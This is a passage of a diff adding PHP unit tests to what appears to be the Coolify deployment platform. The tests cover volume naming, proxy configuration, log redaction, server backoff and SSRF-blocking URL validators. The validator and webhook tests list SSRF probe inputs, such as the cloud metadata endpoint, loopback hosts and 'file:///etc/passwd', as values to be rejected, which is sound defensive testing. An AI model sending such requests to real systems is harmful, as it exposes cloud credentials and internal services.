* ApplicationDeploymentJob methods require database-persisted models with
|
||||
* relationships (Application->destination->server, etc.), making them
|
||||
* unsuitable for unit tests. Integration tests for those paths belong
|
||||
* in tests/Feature/.
|
||||
*/
|
||||
describe('addPreviewDeploymentSuffix', function () {
|
||||
it('appends -pr-N suffix for non-zero pull request id', function () {
|
||||
expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3');
|
||||
});
|
||||
|
||||
it('returns name unchanged when pull request id is zero', function () {
|
||||
expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume');
|
||||
});
|
||||
|
||||
it('handles pull request id of 1', function () {
|
||||
expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1');
|
||||
});
|
||||
|
||||
it('handles large pull request ids', function () {
|
||||
expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999');
|
||||
});
|
||||
|
||||
it('handles names with dots and slashes', function () {
|
||||
expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2');
|
||||
});
|
||||
|
||||
it('handles names with existing hyphens', function () {
|
||||
expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5');
|
||||
});
|
||||
|
||||
it('handles empty name with non-zero pr id', function () {
|
||||
expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1');
|
||||
});
|
||||
|
||||
it('handles uuid-prefixed volume names', function () {
|
||||
$uuid = 'abc123_my-volume';
|
||||
expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7');
|
||||
});
|
||||
|
||||
it('defaults pull_request_id to 0', function () {
|
||||
expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume');
|
||||
});
|
||||
});
|
||||
|
||||
describe('sourceIsLocal', function () {
|
||||
it('detects relative paths starting with dot-slash', function () {
|
||||
expect(sourceIsLocal(str('./scripts')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects absolute paths starting with slash', function () {
|
||||
expect(sourceIsLocal(str('/var/data')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects tilde paths', function () {
|
||||
expect(sourceIsLocal(str('~/data')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects parent directory paths', function () {
|
||||
expect(sourceIsLocal(str('../config')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('returns false for named volumes', function () {
|
||||
expect(sourceIsLocal(str('myvolume')))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('replaceLocalSource', function () {
|
||||
it('replaces dot-slash prefix with target path', function () {
|
||||
$result = replaceLocalSource(str('./scripts'), str('/app'));
|
||||
expect((string) $result)->toBe('/app/scripts');
|
||||
});
|
||||
|
||||
it('replaces dot-dot-slash prefix with target path', function () {
|
||||
$result = replaceLocalSource(str('../config'), str('/app'));
|
||||
expect((string) $result)->toBe('/app./config');
|
||||
});
|
||||
|
||||
it('replaces tilde prefix with target path', function () {
|
||||
$result = replaceLocalSource(str('~/data'), str('/app'));
|
||||
expect((string) $result)->toBe('/app/data');
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Source-code structure tests for parser and deployment job.
|
||||
*
|
||||
* These verify that key code patterns exist in the parser and deployment job.
|
||||
* They are intentionally text-based because the parser/deployment functions
|
||||
* require database-persisted models with deep relationships, making behavioral
|
||||
* unit tests impractical. Full behavioral coverage should be done via Feature tests.
|
||||
*/
|
||||
describe('parser structure: bind mount handling', function () {
|
||||
it('checks is_preview_suffix_enabled before applying suffix', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')");
|
||||
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
|
||||
$bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart);
|
||||
|
||||
expect($bindBlock)
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
|
||||
it('applies preview suffix to named volumes', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
|
||||
$volumeBlock = substr($parsersFile, $volumeBlockStart, 1000);
|
||||
|
||||
expect($volumeBlock)->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
});
|
||||
|
||||
describe('parser structure: label generation uuid isolation', function () {
|
||||
it('uses labelUuid instead of mutating shared uuid', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;');
|
||||
$labelBlock = substr($parsersFile, $labelBlockStart, 300);
|
||||
|
||||
expect($labelBlock)
|
||||
->toContain('$labelUuid = $resource->uuid')
|
||||
->not->toContain('$uuid = $resource->uuid')
|
||||
->not->toContain('$uuid = "{$resource->uuid}');
|
||||
});
|
||||
|
||||
it('uses labelUuid in all proxy label generation calls', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly');
|
||||
$labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')");
|
||||
$labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart);
|
||||
|
||||
expect($labelBlock)
|
||||
->toContain('uuid: $labelUuid')
|
||||
->not->toContain('uuid: $uuid');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployment job structure: is_preview_suffix_enabled', function () {
|
||||
it('checks setting in generate_local_persistent_volumes', function () {
|
||||
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()');
|
||||
$methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
|
||||
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($methodBlock)
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
|
||||
it('checks setting in generate_local_persistent_volumes_only_volume_names', function () {
|
||||
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
|
||||
$methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()');
|
||||
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($methodBlock)
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,173 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Proxy\GetProxyConfiguration;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Spatie\SchemalessAttributes\SchemalessAttributes;
|
||||
|
||||
beforeEach(function () {
|
||||
Log::spy();
|
||||
Cache::spy();
|
||||
});
|
||||
|
||||
function mockServerWithDbConfig(?string $savedConfig, string $proxyType = 'TRAEFIK'): object
|
||||
{
|
||||
$proxyAttributes = Mockery::mock(SchemalessAttributes::class);
|
||||
$proxyAttributes->shouldReceive('get')
|
||||
->with('last_saved_proxy_configuration')
|
||||
->andReturn($savedConfig);
|
||||
|
||||
$proxyPath = match ($proxyType) {
|
||||
'CADDY' => '/data/coolify/proxy/caddy',
|
||||
'NGINX' => '/data/coolify/proxy/nginx',
|
||||
default => '/data/coolify/proxy/',
|
||||
};
|
||||
|
||||
$server = Mockery::mock('App\Models\Server');
|
||||
$server->shouldIgnoreMissing();
|
||||
$server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes);
|
||||
$server->shouldReceive('getAttribute')->with('id')->andReturn(1);
|
||||
$server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server');
|
||||
$server->shouldReceive('proxyType')->andReturn($proxyType);
|
||||
$server->shouldReceive('proxyPath')->andReturn($proxyPath);
|
||||
|
||||
return $server;
|
||||
}
|
||||
|
||||
it('returns OK for NONE proxy type without reading config', function () {
|
||||
$server = Mockery::mock('App\Models\Server');
|
||||
$server->shouldIgnoreMissing();
|
||||
$server->shouldReceive('proxyType')->andReturn('NONE');
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe('OK');
|
||||
});
|
||||
|
||||
it('reads proxy configuration from database', function () {
|
||||
$savedConfig = "services:\n traefik:\n image: traefik:v3.5\n";
|
||||
$server = mockServerWithDbConfig($savedConfig);
|
||||
|
||||
// ProxyDashboardCacheService is called at the end — mock it
|
||||
$server->shouldReceive('proxyType')->andReturn('TRAEFIK');
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($savedConfig);
|
||||
});
|
||||
|
||||
it('preserves full custom config including labels, env vars, and custom commands', function () {
|
||||
$customConfig = <<<'YAML'
|
||||
services:
|
||||
traefik:
|
||||
image: traefik:v3.5
|
||||
command:
|
||||
- '--entrypoints.http.address=:80'
|
||||
- '--metrics.prometheus=true'
|
||||
labels:
|
||||
- 'traefik.enable=true'
|
||||
- 'waf.custom.middleware=true'
|
||||
environment:
|
||||
CF_API_EMAIL: user@example.com
|
||||
CF_API_KEY: secret-key
|
||||
YAML;
|
||||
|
||||
$server = mockServerWithDbConfig($customConfig);
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($customConfig)
|
||||
->and($result)->toContain('waf.custom.middleware=true')
|
||||
->and($result)->toContain('CF_API_EMAIL')
|
||||
->and($result)->toContain('metrics.prometheus=true');
|
||||
});
|
||||
|
||||
it('logs warning when regenerating defaults', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
// No DB config, no disk config — will try to regenerate
|
||||
$server = mockServerWithDbConfig(null);
|
||||
|
||||
// backfillFromDisk will be called — we need instant_remote_process to return empty
|
||||
// Since it's a global function we can't easily mock it, so test the logging via
|
||||
// the force regenerate path instead
|
||||
try {
|
||||
GetProxyConfiguration::run($server, forceRegenerate: true);
|
||||
} catch (\Throwable $e) {
|
||||
// generateDefaultProxyConfiguration may fail without full server setup
|
||||
}
|
||||
|
||||
Log::shouldHaveReceived('warning')
|
||||
->withArgs(fn ($message) => str_contains($message, 'regenerated to defaults'))
|
||||
->once();
|
||||
});
|
||||
|
||||
it('does not read from disk when DB config exists', function () {
|
||||
$savedConfig = "services:\n traefik:\n image: traefik:v3.5\n";
|
||||
$server = mockServerWithDbConfig($savedConfig);
|
||||
|
||||
// If disk were read, instant_remote_process would be called.
|
||||
// Since we're not mocking it and the test passes, it proves DB is used.
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($savedConfig);
|
||||
});
|
||||
|
||||
it('rejects stored Traefik config when proxy type is CADDY', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
|
||||
$server = mockServerWithDbConfig($traefikConfig, 'CADDY');
|
||||
|
||||
// Config type mismatch should trigger regeneration, which will try
|
||||
// backfillFromDisk (instant_remote_process) then generateDefault.
|
||||
// Both will fail in test env, but the warning log proves mismatch was detected.
|
||||
try {
|
||||
GetProxyConfiguration::run($server);
|
||||
} catch (\Throwable $e) {
|
||||
// Expected — regeneration requires SSH/full server setup
|
||||
}
|
||||
|
||||
Log::shouldHaveReceived('warning')
|
||||
->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
|
||||
->once();
|
||||
});
|
||||
|
||||
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
|
||||
$server = mockServerWithDbConfig($caddyConfig, 'TRAEFIK');
|
||||
|
||||
try {
|
||||
GetProxyConfiguration::run($server);
|
||||
} catch (\Throwable $e) {
|
||||
// Expected — regeneration requires SSH/full server setup
|
||||
}
|
||||
|
||||
Log::shouldHaveReceived('warning')
|
||||
->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
|
||||
->once();
|
||||
});
|
||||
|
||||
it('accepts stored Caddy config when proxy type is CADDY', function () {
|
||||
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
|
||||
$server = mockServerWithDbConfig($caddyConfig, 'CADDY');
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($caddyConfig);
|
||||
});
|
||||
|
||||
it('accepts stored config when YAML parsing fails', function () {
|
||||
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
|
||||
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
|
||||
|
||||
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($invalidYaml);
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Rules\SafeExternalUrl;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('accepts valid public URLs', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validUrls = [
|
||||
'https://api.github.com',
|
||||
'https://github.example.com/api/v3',
|
||||
'https://example.com',
|
||||
'http://example.com',
|
||||
];
|
||||
|
||||
foreach ($validUrls as $url) {
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects private IPv4 addresses', function (string $url) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'loopback' => 'http://127.0.0.1',
|
||||
'loopback with port' => 'http://127.0.0.1:6379',
|
||||
'10.x range' => 'http://10.0.0.1',
|
||||
'172.16.x range' => 'http://172.16.0.1',
|
||||
'192.168.x range' => 'http://192.168.1.1',
|
||||
]);
|
||||
|
||||
it('rejects cloud metadata IP', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
|
||||
});
|
||||
|
||||
it('rejects localhost and internal hostnames', function (string $url) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'localhost' => 'http://localhost',
|
||||
'localhost with port' => 'http://localhost:8080',
|
||||
'zero address' => 'http://0.0.0.0',
|
||||
'.local domain' => 'http://myservice.local',
|
||||
'.internal domain' => 'http://myservice.internal',
|
||||
]);
|
||||
|
||||
it('rejects non-URL strings', function (string $value) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $value], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
|
||||
})->with([
|
||||
'plain string' => 'not-a-url',
|
||||
'ftp scheme' => 'ftp://example.com',
|
||||
'javascript scheme' => 'javascript:alert(1)',
|
||||
'no scheme' => 'example.com',
|
||||
]);
|
||||
|
||||
it('rejects URLs with IPv6 loopback', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use App\Rules\SafeWebhookUrl;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('accepts valid public URLs', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validUrls = [
|
||||
'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXX',
|
||||
'https://discord.com/api/webhooks/123456/abcdef',
|
||||
'https://example.com/webhook',
|
||||
'http://example.com/webhook',
|
||||
];
|
||||
|
||||
foreach ($validUrls as $url) {
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts private network IPs for self-hosted deployments', function (string $url) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}");
|
||||
})->with([
|
||||
'10.x range' => 'http://10.0.0.5/webhook',
|
||||
'172.16.x range' => 'http://172.16.0.1:8080/hook',
|
||||
'192.168.x range' => 'http://192.168.1.50:8080/webhook',
|
||||
]);
|
||||
|
||||
it('rejects loopback addresses', function (string $url) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'loopback' => 'http://127.0.0.1',
|
||||
'loopback with port' => 'http://127.0.0.1:6379',
|
||||
'loopback /8 range' => 'http://127.0.0.2',
|
||||
'zero address' => 'http://0.0.0.0',
|
||||
]);
|
||||
|
||||
it('rejects cloud metadata IP', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
|
||||
});
|
||||
|
||||
it('rejects link-local range', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: link-local IP');
|
||||
});
|
||||
|
||||
it('rejects localhost and internal hostnames', function (string $url) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'localhost' => 'http://localhost',
|
||||
'localhost with port' => 'http://localhost:8080',
|
||||
'.internal domain' => 'http://myservice.internal',
|
||||
]);
|
||||
|
||||
it('rejects non-http schemes', function (string $value) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $value], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
|
||||
})->with([
|
||||
'ftp scheme' => 'ftp://example.com',
|
||||
'javascript scheme' => 'javascript:alert(1)',
|
||||
'file scheme' => 'file:///etc/passwd',
|
||||
'no scheme' => 'example.com',
|
||||
]);
|
||||
|
||||
it('rejects IPv6 loopback', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
|
||||
});
|
||||
@@ -153,6 +153,22 @@ it('removes AWS secret access key', function () {
|
||||
expect($result)->toContain('aws_secret_access_key='.REDACTED);
|
||||
});
|
||||
|
||||
it('removes HTTPS basic auth passwords from git URLs', function () {
|
||||
$testCases = [
|
||||
'https://oauth2:glpat-xxxxxxxxxxxx@gitlab.com/user/repo.git' => 'https://oauth2:'.REDACTED.'@'.REDACTED,
|
||||
'https://user:my-secret-token@gitlab.example.com/group/repo.git' => 'https://user:'.REDACTED.'@'.REDACTED,
|
||||
'http://deploy:token123@git.internal.com/repo.git' => 'http://deploy:'.REDACTED.'@'.REDACTED,
|
||||
];
|
||||
|
||||
foreach ($testCases as $input => $notExpected) {
|
||||
$result = sanitizeLogsForExport($input);
|
||||
// The password should be redacted
|
||||
expect($result)->not->toContain('glpat-xxxxxxxxxxxx');
|
||||
expect($result)->not->toContain('my-secret-token');
|
||||
expect($result)->not->toContain('token123');
|
||||
}
|
||||
});
|
||||
|
||||
it('removes generic URL passwords', function () {
|
||||
$testCases = [
|
||||
'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path',
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\SendWebhookJob;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('sends webhook to valid URLs', function () {
|
||||
Http::fake(['*' => Http::response('ok', 200)]);
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'https://example.com/webhook'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return $request->url() === 'https://example.com/webhook';
|
||||
});
|
||||
});
|
||||
|
||||
it('blocks webhook to loopback address', function () {
|
||||
Http::fake();
|
||||
Log::shouldReceive('warning')
|
||||
->once()
|
||||
->withArgs(function ($message) {
|
||||
return str_contains($message, 'blocked unsafe webhook URL');
|
||||
});
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'http://127.0.0.1/admin'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
it('blocks webhook to cloud metadata endpoint', function () {
|
||||
Http::fake();
|
||||
Log::shouldReceive('warning')
|
||||
->once()
|
||||
->withArgs(function ($message) {
|
||||
return str_contains($message, 'blocked unsafe webhook URL');
|
||||
});
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'http://169.254.169.254/latest/meta-data/'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
it('blocks webhook to localhost', function () {
|
||||
Http::fake();
|
||||
Log::shouldReceive('warning')
|
||||
->once()
|
||||
->withArgs(function ($message) {
|
||||
return str_contains($message, 'blocked unsafe webhook URL');
|
||||
});
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'http://localhost/internal-api'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
@@ -0,0 +1,175 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ServerCheckJob;
|
||||
use App\Jobs\ServerConnectionCheckJob;
|
||||
use App\Jobs\ServerManagerJob;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Queue\TimeoutExceededException;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Carbon::setTestNow('2025-01-15 12:00:00');
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
Carbon::setTestNow();
|
||||
});
|
||||
|
||||
describe('getBackoffCycleInterval', function () {
|
||||
it('returns correct intervals for unreachable counts', function () {
|
||||
$job = new ServerManagerJob;
|
||||
$method = new ReflectionMethod($job, 'getBackoffCycleInterval');
|
||||
|
||||
expect($method->invoke($job, 0))->toBe(1)
|
||||
->and($method->invoke($job, 1))->toBe(1)
|
||||
->and($method->invoke($job, 2))->toBe(1)
|
||||
->and($method->invoke($job, 3))->toBe(3)
|
||||
->and($method->invoke($job, 5))->toBe(3)
|
||||
->and($method->invoke($job, 6))->toBe(6)
|
||||
->and($method->invoke($job, 11))->toBe(6)
|
||||
->and($method->invoke($job, 12))->toBe(12)
|
||||
->and($method->invoke($job, 100))->toBe(12);
|
||||
});
|
||||
});
|
||||
|
||||
describe('shouldSkipDueToBackoff', function () {
|
||||
it('never skips servers with unreachable_count <= 2', function () {
|
||||
$job = new ServerManagerJob;
|
||||
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
|
||||
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->id = 42;
|
||||
|
||||
foreach ([0, 1, 2] as $count) {
|
||||
$server->unreachable_count = $count;
|
||||
|
||||
// Test across all minutes in an hour
|
||||
for ($minute = 0; $minute < 60; $minute++) {
|
||||
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
expect($method->invoke($job, $server))->toBeFalse(
|
||||
"Should not skip with unreachable_count={$count} at minute={$minute}"
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('skips most cycles for servers with high unreachable count', function () {
|
||||
$job = new ServerManagerJob;
|
||||
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
|
||||
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->id = 42;
|
||||
$server->unreachable_count = 15; // interval = 12
|
||||
|
||||
$skipCount = 0;
|
||||
$allowCount = 0;
|
||||
|
||||
for ($minute = 0; $minute < 60; $minute++) {
|
||||
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
if ($method->invoke($job, $server)) {
|
||||
$skipCount++;
|
||||
} else {
|
||||
$allowCount++;
|
||||
}
|
||||
}
|
||||
|
||||
// With interval=12, most cycles should be skipped but at least one should be allowed
|
||||
expect($allowCount)->toBeGreaterThan(0)
|
||||
->and($skipCount)->toBeGreaterThan($allowCount);
|
||||
});
|
||||
|
||||
it('distributes checks across servers using server ID hash', function () {
|
||||
$job = new ServerManagerJob;
|
||||
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
|
||||
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
|
||||
|
||||
// Two servers with same unreachable_count but different IDs
|
||||
$server1 = Mockery::mock(Server::class)->makePartial();
|
||||
$server1->id = 1;
|
||||
$server1->unreachable_count = 5; // interval = 3
|
||||
|
||||
$server2 = Mockery::mock(Server::class)->makePartial();
|
||||
$server2->id = 2;
|
||||
$server2->unreachable_count = 5; // interval = 3
|
||||
|
||||
$server1AllowedMinutes = [];
|
||||
$server2AllowedMinutes = [];
|
||||
|
||||
for ($minute = 0; $minute < 60; $minute++) {
|
||||
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
if (! $method->invoke($job, $server1)) {
|
||||
$server1AllowedMinutes[] = $minute;
|
||||
}
|
||||
if (! $method->invoke($job, $server2)) {
|
||||
$server2AllowedMinutes[] = $minute;
|
||||
}
|
||||
}
|
||||
|
||||
// Both servers should have some allowed minutes, but not all the same
|
||||
expect($server1AllowedMinutes)->not->toBeEmpty()
|
||||
->and($server2AllowedMinutes)->not->toBeEmpty()
|
||||
->and($server1AllowedMinutes)->not->toBe($server2AllowedMinutes);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ServerConnectionCheckJob unreachable_count', function () {
|
||||
it('increments unreachable_count on timeout', function () {
|
||||
$settings = Mockery::mock();
|
||||
$settings->shouldReceive('update')
|
||||
->with(['is_reachable' => false, 'is_usable' => false])
|
||||
->once();
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
$server->shouldReceive('increment')->with('unreachable_count')->once();
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
|
||||
$job = new ServerConnectionCheckJob($server);
|
||||
$job->failed(new TimeoutExceededException);
|
||||
});
|
||||
|
||||
it('does not increment unreachable_count for non-timeout failures', function () {
|
||||
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
|
||||
$server->shouldNotReceive('increment');
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
|
||||
$job = new ServerConnectionCheckJob($server);
|
||||
$job->failed(new RuntimeException('Some other error'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('ServerCheckJob unreachable_count', function () {
|
||||
it('increments unreachable_count on timeout', function () {
|
||||
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
|
||||
$server->shouldReceive('increment')->with('unreachable_count')->once();
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
|
||||
$job = new ServerCheckJob($server);
|
||||
$job->failed(new TimeoutExceededException);
|
||||
});
|
||||
|
||||
it('does not increment unreachable_count for non-timeout failures', function () {
|
||||
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
|
||||
